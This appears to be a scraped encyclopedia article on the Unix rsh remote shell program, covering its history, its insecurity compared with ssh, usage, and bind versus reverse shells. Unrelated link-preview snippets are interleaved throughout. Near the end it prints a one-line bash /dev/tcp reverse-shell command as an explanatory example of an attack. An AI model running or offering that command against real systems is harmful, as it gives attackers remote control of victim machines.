The remote shell (rsh) is a
command-line computer program
A computer program is a sequence or set of instructions in a programming language for a computer to Execution (computing), execute. It is one component of software, which also includes software documentation, documentation and other intangibl ...
that can execute
shell commands as another
user, and on another computer across a
computer network
A computer network is a collection of communicating computers and other devices, such as printers and smart phones. In order to communicate, the computers and devices must be connected by wired media like copper cables, optical fibers, or b ...
.
The remote system to which ''rsh'' connects runs the ''rsh''
daemon
A demon is a malevolent supernatural being, evil spirit or fiend in religion, occultism, literature, fiction, mythology and folklore.
Demon, daemon or dæmon may also refer to:
Entertainment Fictional entities
* Daemon (G.I. Joe), a character ...
(rshd). The daemon typically uses the
well-known Transmission Control Protocol
The Transmission Control Protocol (TCP) is one of the main communications protocol, protocols of the Internet protocol suite. It originated in the initial network implementation in which it complemented the Internet Protocol (IP). Therefore, th ...
(TCP)
port number
In computer networking, a port is a communication endpoint. At the software level within an operating system, a port is a logical construct that identifies a specific process or a type of network service. A port is uniquely identified by a numbe ...
513.
History
''Rsh'' originated as part of the
BSD Unix operating system
An operating system (OS) is system software that manages computer hardware and software resources, and provides common daemon (computing), services for computer programs.
Time-sharing operating systems scheduler (computing), schedule tasks for ...
, along with
rcp, as part of the
rlogin package on 4.2BSD in 1983. rsh has since been ported to other operating systems.
The
rsh
command has the same name as another common UNIX utility, the
restricted shell, which first appeared in
PWB/UNIX; in
System V Release 4, the restricted shell is often located at
/usr/bin/rsh
.
As other
Berkeley r-commands which involve user authentication, the rsh
protocol is not
secure for network use, because it sends
unencrypted information over the network, among other reasons. Some implementations also
authenticate
Authentication (from ''authentikos'', "real, genuine", from αὐθέντης ''authentes'', "author") is the act of proving an assertion, such as the identity of a computer system user. In contrast with identification, the act of indicating ...
by sending unencrypted
password
A password, sometimes called a passcode, is secret data, typically a string of characters, usually used to confirm a user's identity. Traditionally, passwords were expected to be memorized, but the large number of password-protected services t ...
s over the network. rsh has largely been replaced with the
secure shell
The Secure Shell Protocol (SSH Protocol) is a cryptographic network protocol for operating network services securely over an unsecured network. Its most notable applications are remote login and command-line execution.
SSH was designed for ...
(ssh) program, even on local networks.
Example
As an example of rsh use, the following executes the command ''mkdir testdir'' as user ''remoteuser'' on the computer ''host.example.com'' running a UNIX-like system:
$ rsh -l remoteuser host.example.com "mkdir testdir"
After the command has finished rsh terminates. If no command is specified then rsh will log in on the remote system using
rlogin. The network location of the remote computer is looked up using the
Domain Name System
The Domain Name System (DNS) is a hierarchical and distributed name service that provides a naming system for computers, services, and other resources on the Internet or other Internet Protocol (IP) networks. It associates various information ...
.
Installation
Command to install rsh client using apt
# apt-get install rsh-redone-client
Bind shell and reverse shell
A remote shell session can be initiated by either a local device (which sends commands) or a remote device (on which commands are executed). In the first case remote shell will be called bind shell, in the second case - reverse shell.
Reverse shell can be used when the device on which the command is to be executed is not directly accessible - for example, for remote maintenance of computers located behind NAT that cannot be accessed from the outside. Some exploits create reverse shell from an attacked device back to machines controlled by the attackers (called "reverse shell attack"). The following code demonstrates a reverse shell attack:
$ exec 5<>/dev/tcp//80;cat <&5 , while read line; do \$line 2>&5 >&5; done
It opens a TCP socket to attacker IP at port 80 as a
file descriptor
In Unix and Unix-like computer operating systems, a file descriptor (FD, less frequently fildes) is a process-unique identifier (handle) for a file or other input/output resource, such as a pipe or network socket.
File descriptors typically h ...
. It then repeatedly read lines from the socket and run the line, piping both
stdout and stderr back to the socket. In other words, it gives the attacker a remote shell on the machine.
See also
*
Berkeley r-commands
*
secure shell
The Secure Shell Protocol (SSH Protocol) is a cryptographic network protocol for operating network services securely over an unsecured network. Its most notable applications are remote login and command-line execution.
SSH was designed for ...
References
rsh - remote shell- rsh
man page
A man page (short for manual page) is a form of software documentation found on Unix and Unix-like operating systems. Topics covered include programs, system libraries, system calls, and sometimes local system details. The local host administr ...
.
*{{man, 1, rsh, Darwin, remote shell
Internet protocols
OS/2 commands
Unix network-related software